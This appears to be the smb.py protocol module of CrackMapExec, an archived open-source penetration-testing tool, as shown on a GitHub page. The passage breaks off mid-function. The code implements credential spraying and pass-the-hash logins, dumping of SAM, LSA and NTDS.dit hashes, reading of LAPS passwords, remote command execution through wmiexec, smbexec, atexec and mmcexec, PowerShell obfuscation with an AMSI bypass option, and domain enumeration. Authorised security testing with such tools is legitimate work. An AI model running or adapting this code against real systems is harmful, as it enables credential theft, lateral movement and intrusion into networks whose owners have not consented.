This repository has been archived by the owner on Dec 6, 2023. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 1.6k
/
smb.py
executable file
·1148 lines (970 loc) · 52.1 KB
/
smb.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
# -*- coding: utf-8 -*-
import socket
import os
import ntpath
import hashlib,binascii
from io import StringIO
from impacket.smbconnection import SMBConnection, SessionError
from impacket.smb import SMB_DIALECT
from impacket.examples.secretsdump import RemoteOperations, SAMHashes, LSASecrets, NTDSHashes
from impacket.nmb import NetBIOSError, NetBIOSTimeout
from impacket.dcerpc.v5 import transport, lsat, lsad
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5.transport import DCERPCTransportFactory
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
from impacket.dcerpc.v5.epm import MSRPC_UUID_PORTMAP
from impacket.dcerpc.v5.dcom.wmi import WBEM_FLAG_FORWARD_ONLY
from impacket.dcerpc.v5.samr import SID_NAME_USE
from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED
from cme.connection import *
from cme.logger import CMEAdapter
from cme.servers.smb import CMESMBServer
from cme.protocols.smb.wmiexec import WMIEXEC
from cme.protocols.smb.atexec import TSCH_EXEC
from cme.protocols.smb.smbexec import SMBEXEC
from cme.protocols.smb.mmcexec import MMCEXEC
from cme.protocols.smb.smbspider import SMBSpider
from cme.protocols.smb.passpol import PassPolDump
from cme.protocols.smb.samruser import UserSamrDump
from cme.protocols.ldap.smbldap import LDAPConnect
from cme.helpers.logger import highlight
from cme.helpers.misc import *
from cme.helpers.bloodhound import add_user_bh
from cme.helpers.powershell import create_ps_command
from pywerview.cli.helpers import *
from pywerview.requester import RPCRequester
from time import time
from datetime import datetime
from functools import wraps
from traceback import format_exc
smb_share_name = gen_random_string(5).upper()
smb_server = None
smb_error_status = [
"STATUS_ACCOUNT_DISABLED",
"STATUS_ACCOUNT_EXPIRED",
"STATUS_ACCOUNT_RESTRICTION",
"STATUS_INVALID_LOGON_HOURS",
"STATUS_INVALID_WORKSTATION",
"STATUS_LOGON_TYPE_NOT_GRANTED",
"STATUS_PASSWORD_EXPIRED",
"STATUS_PASSWORD_MUST_CHANGE",
"STATUS_ACCESS_DENIED",
"STATUS_NO_SUCH_FILE"
]
def requires_smb_server(func):
def _decorator(self, *args, **kwargs):
global smb_server
global smb_share_name
get_output = False
payload = None
methods = []
try:
payload = args[0]
except IndexError:
pass
try:
get_output = args[1]
except IndexError:
pass
try:
methods = args[2]
except IndexError:
pass
if 'payload' in kwargs:
payload = kwargs['payload']
if 'get_output' in kwargs:
get_output = kwargs['get_output']
if 'methods' in kwargs:
methods = kwargs['methods']
if not payload and self.args.execute:
if not self.args.no_output: get_output = True
if get_output or (methods and ('smbexec' in methods)):
if not smb_server:
#with sem:
logging.debug('Starting SMB server')
smb_server = CMESMBServer(self.logger, smb_share_name, listen_port=self.args.smb_server_port, verbose=self.args.verbose)
smb_server.start()
output = func(self, *args, **kwargs)
if smb_server is not None:
#with sem:
smb_server.shutdown()
smb_server = None
return output
return wraps(func)(_decorator)
class smb(connection):
def __init__(self, args, db, host):
self.domain = None
self.server_os = None
self.os_arch = 0
self.hash = None
self.lmhash = ''
self.nthash = ''
self.remote_ops = None
self.bootkey = None
self.output_filename = None
self.smbv1 = None
self.signing = False
self.smb_share_name = smb_share_name
connection.__init__(self, args, db, host)
@staticmethod
def proto_args(parser, std_parser, module_parser):
smb_parser = parser.add_parser('smb', help="own stuff using SMB", parents=[std_parser, module_parser])
smb_parser.add_argument("-H", '--hash', metavar="HASH", dest='hash', nargs='+', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes')
smb_parser.add_argument("--no-bruteforce", action='store_true', help='No spray when using file for username and password (user1 => password1, user2 => password2')
dgroup = smb_parser.add_mutually_exclusive_group()
dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, help="domain to authenticate to")
dgroup.add_argument("--local-auth", action='store_true', help='authenticate locally to each target')
smb_parser.add_argument("--port", type=int, choices={445, 139}, default=445, help="SMB port (default: 445)")
smb_parser.add_argument("--share", metavar="SHARE", default="C$", help="specify a share (default: C$)")
smb_parser.add_argument("--smb-server-port", default="445", help="specify a server port for SMB", type=int)
smb_parser.add_argument("--gen-relay-list", metavar='OUTPUT_FILE', help="outputs all hosts that don't require SMB signing to the specified file")
smb_parser.add_argument("--continue-on-success", action='store_true', help="continues authentication attempts even after successes")
smb_parser.add_argument("--smb-timeout", help="SMB connection timeout, default 3 secondes", type=int, default=2)
smb_parser.add_argument("--laps", dest='laps', metavar="LAPS", type=str, help="LAPS authentification", nargs='?', const='administrator')
cgroup = smb_parser.add_argument_group("Credential Gathering", "Options for gathering credentials")
cegroup = cgroup.add_mutually_exclusive_group()
cegroup.add_argument("--sam", action='store_true', help='dump SAM hashes from target systems')
cegroup.add_argument("--lsa", action='store_true', help='dump LSA secrets from target systems')
cegroup.add_argument("--ntds", choices={'vss', 'drsuapi'}, nargs='?', const='drsuapi', help="dump the NTDS.dit from target DCs using the specifed method\n(default: drsuapi)")
#cgroup.add_argument("--ntds-history", action='store_true', help='Dump NTDS.dit password history')
#cgroup.add_argument("--ntds-pwdLastSet", action='store_true', help='Shows the pwdLastSet attribute for each NTDS.dit account')
egroup = smb_parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating")
egroup.add_argument("--shares", action="store_true", help="enumerate shares and access")
egroup.add_argument("--sessions", action='store_true', help='enumerate active sessions')
egroup.add_argument('--disks', action='store_true', help='enumerate disks')
egroup.add_argument("--loggedon-users", action='store_true', help='enumerate logged on users')
egroup.add_argument('--users', nargs='?', const='', metavar='USER', help='enumerate domain users, if a user is specified than only its information is queried.')
egroup.add_argument("--groups", nargs='?', const='', metavar='GROUP', help='enumerate domain groups, if a group is specified than its members are enumerated')
egroup.add_argument('--computers', nargs='?', const='', metavar='COMPUTER', help='enumerate computer users')
egroup.add_argument("--local-groups", nargs='?', const='', metavar='GROUP', help='enumerate local groups, if a group is specified then its members are enumerated')
egroup.add_argument("--pass-pol", action='store_true', help='dump password policy')
egroup.add_argument("--rid-brute", nargs='?', type=int, const=4000, metavar='MAX_RID', help='enumerate users by bruteforcing RID\'s (default: 4000)')
egroup.add_argument("--wmi", metavar='QUERY', type=str, help='issues the specified WMI query')
egroup.add_argument("--wmi-namespace", metavar='NAMESPACE', default='root\\cimv2', help='WMI Namespace (default: root\\cimv2)')
sgroup = smb_parser.add_argument_group("Spidering", "Options for spidering shares")
sgroup.add_argument("--spider", metavar='SHARE', type=str, help='share to spider')
sgroup.add_argument("--spider-folder", metavar='FOLDER', default='.', type=str, help='folder to spider (default: root share directory)')
sgroup.add_argument("--content", action='store_true', help='enable file content searching')
sgroup.add_argument("--exclude-dirs", type=str, metavar='DIR_LIST', default='', help='directories to exclude from spidering')
segroup = sgroup.add_mutually_exclusive_group()
segroup.add_argument("--pattern", nargs='+', help='pattern(s) to search for in folders, filenames and file content')
segroup.add_argument("--regex", nargs='+', help='regex(s) to search for in folders, filenames and file content')
sgroup.add_argument("--depth", type=int, default=None, help='max spider recursion depth (default: infinity & beyond)')
sgroup.add_argument("--only-files", action='store_true', help='only spider files')
tgroup = smb_parser.add_argument_group("Files", "Options for put and get remote files")
tgroup.add_argument("--put-file", nargs=2, metavar="FILE", help='Put a local file into remote target, ex: whoami.txt \\\\Windows\\\\Temp\\\\whoami.txt')
tgroup.add_argument("--get-file", nargs=2, metavar="FILE", help='Get a remote file, ex: \\\\Windows\\\\Temp\\\\whoami.txt whoami.txt')
cgroup = smb_parser.add_argument_group("Command Execution", "Options for executing commands")
cgroup.add_argument('--exec-method', choices={"wmiexec", "mmcexec", "smbexec", "atexec"}, default=None, help="method to execute the command. Ignored if in MSSQL mode (default: wmiexec)")
cgroup.add_argument('--force-ps32', action='store_true', help='force the PowerShell command to run in a 32-bit process')
cgroup.add_argument('--no-output', action='store_true', help='do not retrieve command output')
cegroup = cgroup.add_mutually_exclusive_group()
cegroup.add_argument("-x", metavar="COMMAND", dest='execute', help="execute the specified command")
cegroup.add_argument("-X", metavar="PS_COMMAND", dest='ps_execute', help='execute the specified PowerShell command')
psgroup = smb_parser.add_argument_group('Powershell Obfuscation', "Options for PowerShell script obfuscation")
psgroup.add_argument('--obfs', action='store_true', help='Obfuscate PowerShell scripts')
psgroup.add_argument('--amsi-bypass', nargs=1, metavar="FILE", help='File with a custom AMSI bypass')
psgroup.add_argument('--clear-obfscripts', action='store_true', help='Clear all cached obfuscated PowerShell scripts')
return parser
def proto_logger(self):
self.logger = CMEAdapter(extra={
'protocol': 'SMB',
'host': self.host,
'port': self.args.port,
'hostname': self.hostname
})
def get_os_arch(self):
try:
stringBinding = r'ncacn_ip_tcp:{}[135]'.format(self.host)
transport = DCERPCTransportFactory(stringBinding)
transport.set_connect_timeout(5)
dce = transport.get_dce_rpc()
if self.args.kerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.connect()
try:
dce.bind(MSRPC_UUID_PORTMAP, transfer_syntax=('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0'))
except (DCERPCException, e):
if str(e).find('syntaxes_not_supported') >= 0:
dce.disconnect()
return 32
else:
dce.disconnect()
return 64
except Exception as e:
logging.debug('Error retrieving os arch of {}: {}'.format(self.host, str(e)))
return 0
def enum_host_info(self):
self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0]
try:
self.conn.login('' , '')
except:
#if "STATUS_ACCESS_DENIED" in e:
pass
self.domain = self.conn.getServerDNSDomainName()
self.hostname = self.conn.getServerName()
self.server_os = self.conn.getServerOS()
self.signing = self.conn.isSigningRequired() if self.smbv1 else self.conn._SMBConnection._Connection['RequireSigning']
self.os_arch = self.get_os_arch()
self.output_filename = os.path.expanduser('~/.cme/logs/{}_{}_{}'.format(self.hostname, self.host, datetime.now().strftime("%Y-%m-%d_%H%M%S")))
self.output_filename = self.output_filename.replace(":", "-")
if not self.domain:
self.domain = self.hostname
self.db.add_computer(self.host, self.hostname, self.domain, self.server_os)
try:
'''
DC's seem to want us to logoff first, windows workstations sometimes reset the connection
(go home Windows, you're drunk)
'''
self.conn.logoff()
except:
pass
if self.args.domain:
self.domain = self.args.domain
if self.args.local_auth:
self.domain = self.hostname
def laps_search(self, username, password, ntlm_hash, domain):
ldapco = LDAPConnect(self.domain, "389", self.domain)
connection = ldapco.plaintext_login(domain, username[0] if username else '', password[0] if password else '', ntlm_hash[0] if ntlm_hash else '' )
if connection == False:
logging.debug('LAPS connection failed with account {}'.format(username))
return False
searchFilter = '(&(objectCategory=computer)(ms-MCS-AdmPwd=*)(name='+ self.hostname +'))'
attributes = ['ms-MCS-AdmPwd','samAccountname']
result = connection.search(searchFilter=searchFilter,
attributes=attributes,
sizeLimit=0)
msMCSAdmPwd = ''
sAMAccountName = ''
for item in result:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
for computer in item['attributes']:
if str(computer['type']) == "sAMAccountName":
sAMAccountName = str(computer['vals'][0])
else:
msMCSAdmPwd = str(computer['vals'][0])
logging.debug("Computer: {:<20} Password: {} {}".format(sAMAccountName, msMCSAdmPwd, self.hostname))
self.username = self.args.laps
self.password = msMCSAdmPwd
if msMCSAdmPwd == '':
logging.debug('msMCSAdmPwd is empty, account cannot read LAPS property for {}'.format(self.hostname))
return False
if ntlm_hash:
hash_ntlm = hashlib.new('md4', msMCSAdmPwd.encode('utf-16le')).digest()
self.args.hash = [binascii.hexlify(hash_ntlm).decode()]
self.domain = self.hostname
return True
def print_host_info(self):
self.logger.info(u"{}{} (name:{}) (domain:{}) (signing:{}) (SMBv1:{})".format(self.server_os,
' x{}'.format(self.os_arch) if self.os_arch else '',
self.hostname,
self.domain,
self.signing,
self.smbv1))
if self.args.laps:
return self.laps_search(self.args.username, self.args.password, self.args.hash, self.domain)
return True
def kerberos_login(self, domain, aesKey, kdcHost):
#Re-connect since we logged off
self.create_conn_obj()
# dirty code to check if user is admin but pywerview does not support kerberos auth ...
error = ''
try:
self.conn.kerberosLogin('', '', self.domain, self.lmhash, self.nthash, aesKey, kdcHost)
# self.check_if_admin() # currently pywerview does not support kerberos auth
except SessionError as e:
error = e
try:
self.conn.connectTree("C$")
self.admin_privs = True
except SessionError as e:
pass
if not error:
out = u'{}\\{} {}'.format(self.domain,
self.conn.getCredentials()[0],
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))
self.logger.success(out)
return True
else:
self.logger.error(u'{} {} {}'.format(self.domain,
error,
'({})'.format(desc) if self.args.verbose else ''))
return False
# check https://github.com/byt3bl33d3r/CrackMapExec/issues/321
if self.signing:
try:
self.conn.logoff()
except:
pass
self.create_conn_obj()
def plaintext_login(self, domain, username, password):
#Re-connect since we logged off
self.create_conn_obj()
try:
if not self.args.laps:
self.password = password
self.username = username
self.domain = domain
self.conn.login(self.username, self.password, domain)
self.check_if_admin()
self.db.add_credential('plaintext', domain, self.username, self.password)
if self.admin_privs:
self.db.add_admin_user('plaintext', domain, self.username, self.password, self.host)
out = u'{}\\{}:{} {}'.format(domain,
self.username,
self.password,
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))
self.logger.success(out)
add_user_bh(self.username, self.domain, self.logger, self.config)
if not self.args.continue_on_success:
return True
elif self.signing: # check https://github.com/byt3bl33d3r/CrackMapExec/issues/321
try:
self.conn.logoff()
except:
pass
self.create_conn_obj()
except (SessionError) as e:
error, desc = e.getErrorString()
self.logger.error(u'{}\\{}:{} {} {}'.format(domain,
self.username,
self.password,
error,
'({})'.format(desc) if self.args.verbose else ''),
color='magenta' if error in smb_error_status else 'red')
if error not in smb_error_status:
self.inc_failed_login(username)
return False
if not self.args.continue_on_success:
return True
except (ConnectionResetError, NetBIOSTimeout, NetBIOSError) as e:
self.logger.error('Connection Error: {}'.format(e))
return False
def hash_login(self, domain, username, ntlm_hash):
#Re-connect since we logged off
self.create_conn_obj()
lmhash = ''
nthash = ''
#This checks to see if we didn't provide the LM Hash
if ntlm_hash.find(':') != -1:
lmhash, nthash = ntlm_hash.split(':')
else:
nthash = ntlm_hash
try:
self.hash = ntlm_hash
if lmhash: self.lmhash = lmhash
if nthash: self.nthash = nthash
if not self.args.laps:
self.username = username
self.domain = domain
self.conn.login(self.username, '', domain, lmhash, nthash)
self.check_if_admin()
self.db.add_credential('hash', domain, self.username, ntlm_hash)
if self.admin_privs:
self.db.add_admin_user('hash', domain, self.username, ntlm_hash, self.host)
out = u'{}\\{}:{} {}'.format(domain,
self.username,
ntlm_hash,
highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))
self.logger.success(out)
add_user_bh(self.username, self.domain, self.logger, self.config)
if not self.args.continue_on_success:
return True
# check https://github.com/byt3bl33d3r/CrackMapExec/issues/321
if self.signing:
try:
self.conn.logoff()
except:
pass
self.create_conn_obj()
except (SessionError) as e:
error, desc = e.getErrorString()
self.logger.error(u'{}\\{}:{} {} {}'.format(domain,
self.username,
ntlm_hash,
error,
'({})'.format(desc) if self.args.verbose else ''),
color='magenta' if error in smb_error_status else 'red')
if error not in smb_error_status:
self.inc_failed_login(self.username)
return False
if not self.args.continue_on_success:
return True
except (ConnectionResetError, NetBIOSTimeout, NetBIOSError) as e:
self.logger.error('Connection Error: {}'.format(e))
return False
def create_smbv1_conn(self):
try:
self.conn = SMBConnection(self.host, self.host, None, self.args.port, preferredDialect=SMB_DIALECT, timeout=self.args.smb_timeout)
self.smbv1 = True
except socket.error as e:
if str(e).find('Connection reset by peer') != -1:
logging.debug('SMBv1 might be disabled on {}'.format(self.host))
return False
except (Exception, NetBIOSTimeout) as e:
logging.debug('Error creating SMBv1 connection to {}: {}'.format(self.host, e))
return False
return True
def create_smbv3_conn(self):
try:
self.conn = SMBConnection(self.host, self.host, None, self.args.port, timeout=self.args.smb_timeout)
self.smbv1 = False
except socket.error:
return False
except (Exception, NetBIOSTimeout) as e:
logging.debug('Error creating SMBv3 connection to {}: {}'.format(self.host, e))
return False
return True
def create_conn_obj(self):
if self.create_smbv1_conn():
return True
elif self.create_smbv3_conn():
return True
return False
def check_if_admin(self):
lmhash = ''
nthash = ''
if self.hash:
if self.hash.find(':') != -1:
lmhash, nthash = self.hash.split(':')
else:
nthash = self.hash
self.admin_privs = invoke_checklocaladminaccess(self.host, self.domain, self.username, self.password, lmhash, nthash)
def gen_relay_list(self):
if self.server_os.lower().find('windows') != -1 and self.signing is False:
with sem:
with open(self.args.gen_relay_list, 'a+') as relay_list:
if self.host not in relay_list.read():
relay_list.write(self.host + '\n')
@requires_admin
#@requires_smb_server
def execute(self, payload=None, get_output=False, methods=None):
if self.args.exec_method: methods = [self.args.exec_method]
if not methods : methods = ['wmiexec', 'mmcexec', 'atexec', 'smbexec']
if not payload and self.args.execute:
payload = self.args.execute
if not self.args.no_output: get_output = True
for method in methods:
if method == 'wmiexec':
try:
exec_method = WMIEXEC(self.host, self.smb_share_name, self.username, self.password, self.domain, self.conn, self.kerberos, self.aesKey, self.kdcHost, self.hash, self.args.share)
logging.debug('Executed command via wmiexec')
break
except:
logging.debug('Error executing command via wmiexec, traceback:')
logging.debug(format_exc())
continue
elif method == 'mmcexec':
try:
exec_method = MMCEXEC(self.host, self.smb_share_name, self.username, self.password, self.domain, self.conn, self.hash)
logging.debug('Executed command via mmcexec')
break
except:
logging.debug('Error executing command via mmcexec, traceback:')
logging.debug(format_exc())
continue
elif method == 'atexec':
try:
exec_method = TSCH_EXEC(self.host, self.smb_share_name, self.username, self.password, self.domain, self.kerberos, self.aesKey, self.kdcHost, self.hash) #self.args.share)
logging.debug('Executed command via atexec')
break
except:
logging.debug('Error executing command via atexec, traceback:')
logging.debug(format_exc())
continue
elif method == 'smbexec':
try:
exec_method = SMBEXEC(self.host, self.smb_share_name, self.conn, self.args.port, self.username, self.password, self.domain, self.kerberos, self.aesKey, self.kdcHost, self.hash, self.args.share)
logging.debug('Executed command via smbexec')
break
except:
logging.debug('Error executing command via smbexec, traceback:')
logging.debug(format_exc())
continue
if hasattr(self, 'server'): self.server.track_host(self.host)
output = u'{}'.format(exec_method.execute(payload, get_output).strip())
if self.args.execute or self.args.ps_execute:
self.logger.success('Executed command {}'.format('via {}'.format(self.args.exec_method) if self.args.exec_method else ''))
buf = StringIO(output).readlines()
for line in buf:
self.logger.highlight(line.strip())
return output
@requires_admin
def ps_execute(self, payload=None, get_output=False, methods=None, force_ps32=False, dont_obfs=False):
if not payload and self.args.ps_execute:
payload = self.args.ps_execute
if not self.args.no_output: get_output = True
amsi_bypass = self.args.amsi_bypass[0] if self.args.amsi_bypass else None
if os.path.isfile(payload):
with open(payload) as commands:
for c in commands:
self.execute(create_ps_command(c, force_ps32=force_ps32, dont_obfs=dont_obfs, custom_amsi=amsi_bypass), get_output, methods)
else:
self.execute(create_ps_command(payload, force_ps32=force_ps32, dont_obfs=dont_obfs, custom_amsi=amsi_bypass), get_output, methods)
return ''
def shares(self):
temp_dir = ntpath.normpath("\\" + gen_random_string())
computer_id = self.db.get_computers(filterTerm=self.host)[0][0]
try:
user_id = self.db.get_user(
self.domain.split('.')[0].upper(),
self.username
)[0][0]
except:
pass
permissions = []
try:
for share in self.conn.listShares():
share_name = share['shi1_netname'][:-1]
share_remark = share['shi1_remark'][:-1]
share_info = {'name': share_name, 'remark': share_remark, 'access': []}
read = False
write = False
try:
self.conn.listPath(share_name, '*')
read = True
share_info['access'].append('READ')
except SessionError:
pass
try:
self.conn.createDirectory(share_name, temp_dir)
self.conn.deleteDirectory(share_name, temp_dir)
write = True
share_info['access'].append('WRITE')
except SessionError:
pass
permissions.append(share_info)
if share_name != "IPC$":
try:
self.db.add_share(computer_id, user_id, share_name, share_remark, read, write)
except:
pass
self.logger.success('Enumerated shares')
self.logger.highlight('{:<15} {:<15} {}'.format('Share', 'Permissions', 'Remark'))
self.logger.highlight('{:<15} {:<15} {}'.format('-----', '-----------', '------'))
for share in permissions:
name = share['name']
remark = share['remark']
perms = share['access']
self.logger.highlight(u'{:<15} {:<15} {}'.format(name, ','.join(perms), remark))
except (SessionError, UnicodeEncodeError) as e:
self.logger.error('Error enumerating shares: {}'.format(e))
except Exception as e:
error = e.getErrorString()
self.logger.error('Error enumerating shares: {}'.format(error),
color='magenta' if error in smb_error_status else 'red')
return permissions
def get_dc_ips(self):
dc_ips = []
for dc in self.db.get_domain_controllers(domain=self.domain):
dc_ips.append(dc[1])
if not dc_ips:
dc_ips.append(self.host)
return dc_ips
def sessions(self):
try:
sessions = get_netsession(self.host, self.domain, self.username, self.password, self.lmhash, self.nthash)
self.logger.success('Enumerated sessions')
for session in sessions:
if session.sesi10_cname.find(self.local_ip) == -1:
self.logger.highlight('{:<25} User:{}'.format(session.sesi10_cname, session.sesi10_username))
return sessions
except:
pass
def disks(self):
disks = []
try:
disks = get_localdisks(self.host, self.domain, self.username, self.password, self.lmhash, self.nthash)
self.logger.success('Enumerated disks')
for disk in disks:
self.logger.highlight(disk.disk)
except Exception as e:
error, desc = e.getErrorString()
self.logger.error('Error enumerating disks: {}'.format(error),
color='magenta' if error in smb_error_status else 'red')
return disks
def local_groups(self):
groups = []
#To enumerate local groups the DC IP is optional, if specified it will resolve the SIDs and names of any domain accounts in the local group
for dc_ip in self.get_dc_ips():
try:
groups = get_netlocalgroup(self.host, dc_ip, '', self.username,
self.password, self.lmhash, self.nthash, queried_groupname=self.args.local_groups,
list_groups=True if not self.args.local_groups else False, recurse=False)
if self.args.local_groups:
self.logger.success('Enumerated members of local group')
else:
self.logger.success('Enumerated local groups')
for group in groups:
if group.name:
if not self.args.local_groups:
self.logger.highlight('{:<40} membercount: {}'.format(group.name, group.membercount))
self.db.add_group(self.hostname, group.name)
else:
domain, name = group.name.split('/')
self.logger.highlight('{}\\{}'.format(domain.upper(), name))
try:
group_id = self.db.get_groups(groupName=self.args.local_groups, groupDomain=domain)[0][0]
except IndexError:
group_id = self.db.add_group(domain, self.args.local_groups)
# yo dawg, I hear you like groups. So I put a domain group as a member of a local group which is also a member of another local group.
# (╯°□°）╯︵ ┻━┻
if not group.isgroup:
self.db.add_user(domain, name, group_id)
elif group.isgroup:
self.db.add_group(domain, name)
break
except Exception as e:
self.logger.error('Error enumerating local groups of {}: {}'.format(self.host, e))
return groups
def domainfromdsn(self, dsn):
dsnparts = dsn.split(',')
domain = ""
for part in dsnparts:
k,v = part.split("=")
if k == "DC":
if domain=="":
domain = v
else:
domain = domain+"."+v
return domain
def domainfromdnshostname(self, dns):
dnsparts = dns.split(".")
domain = ".".join(dnsparts[1:])
return domain, dnsparts[0]+"$"
def groups(self):
groups = []
for dc_ip in self.get_dc_ips():
if self.args.groups:
try:
groups = get_netgroupmember(dc_ip, self.domain, self.username, password=self.password,
lmhash=self.lmhash, nthash=self.nthash, queried_groupname=self.args.groups, queried_sid=str(),
queried_domain=str(), ads_path=str(), recurse=False, use_matching_rule=False,
full_data=False, custom_filter=str())
self.logger.success('Enumerated members of domain group')
for group in groups:
self.logger.highlight('{}\\{}'.format(group.memberdomain, group.membername))
try:
group_id = self.db.get_groups(groupName=self.args.groups, groupDomain=group.groupdomain)[0][0]
except IndexError:
group_id = self.db.add_group(group.groupdomain, self.args.groups)
if not group.isgroup:
self.db.add_user(group.memberdomain, group.membername, group_id)
elif group.isgroup:
self.db.add_group(group.groupdomain, group.groupname)
break
except Exception as e:
self.logger.error('Error enumerating domain group members using dc ip {}: {}'.format(dc_ip, e))
else:
try:
groups = get_netgroup(dc_ip, self.domain, self.username, password=self.password,
lmhash=self.lmhash, nthash=self.nthash, queried_groupname=str(), queried_sid=str(),
queried_username=str(), queried_domain=str(), ads_path=str(),
admin_count=False, full_data=True, custom_filter=str())
self.logger.success('Enumerated domain group(s)')
for group in groups:
self.logger.highlight('{:<40} membercount: {}'.format(group.samaccountname, len(group.member) if hasattr(group, 'member') else 0))
if bool(group.isgroup) is True:
# Since there isn't a groupmemeber attribute on the returned object from get_netgroup we grab it from the distinguished name
domain = self.domainfromdsn(group.distinguishedname)
self.db.add_group(domain, group.samaccountname)
break
except Exception as e:
self.logger.error('Error enumerating domain group using dc ip {}: {}'.format(dc_ip, e))
return groups
def users(self):
users = []
for dc_ip in self.get_dc_ips():
try:
users = get_netuser(dc_ip, self.domain, self.username, password=self.password, lmhash=self.lmhash,
nthash=self.nthash, queried_username=self.args.users, queried_domain='', ads_path=str(),
admin_count=False, spn=False, unconstrained=False, allow_delegation=False,
custom_filter=str())
self.logger.success('Enumerated domain user(s)')
for user in users:
domain = self.domainfromdsn(user.distinguishedname)
self.logger.highlight('{}\\{:<30} badpwdcount: {} baddpwdtime: {}'.format(domain,user.samaccountname,getattr(user,'badpwdcount',0),getattr(user, 'badpasswordtime','')))
#self.db.add_user(domain, user.samaccountname)
break
except Exception as e:
self.logger.error('Error enumerating domain users using dc ip {}: {}'.format(dc_ip, e))
self.logger.info('Trying with SAMRPC protocol')
users = UserSamrDump(self).dump()
break
return users
def computers(self):
computers = []
for dc_ip in self.get_dc_ips():
try:
computers = get_netcomputer(dc_ip, self.domain, self.username, password=self.password, lmhash=self.lmhash,
nthash=self.nthash, queried_domain='', ads_path=str(), custom_filter=str())
self.logger.success('Enumerated domain computer(s)')
for computer in computers:
domain, computerclean = self.domainfromdnshostname(computer.dnshostname)
self.logger.highlight('{}\\{:<30}'.format(domain, computerclean))
break
except Exception as e:
self.logger.error('Error enumerating domain computers using dc ip {}: {}'.format(dc_ip, e))
break
return computers
def loggedon_users(self):
loggedon = []
try:
loggedon = get_netloggedon(self.host, self.domain, self.username, self.password, lmhash=self.lmhash, nthash=self.nthash)
self.logger.success('Enumerated loggedon users')
for user in loggedon:
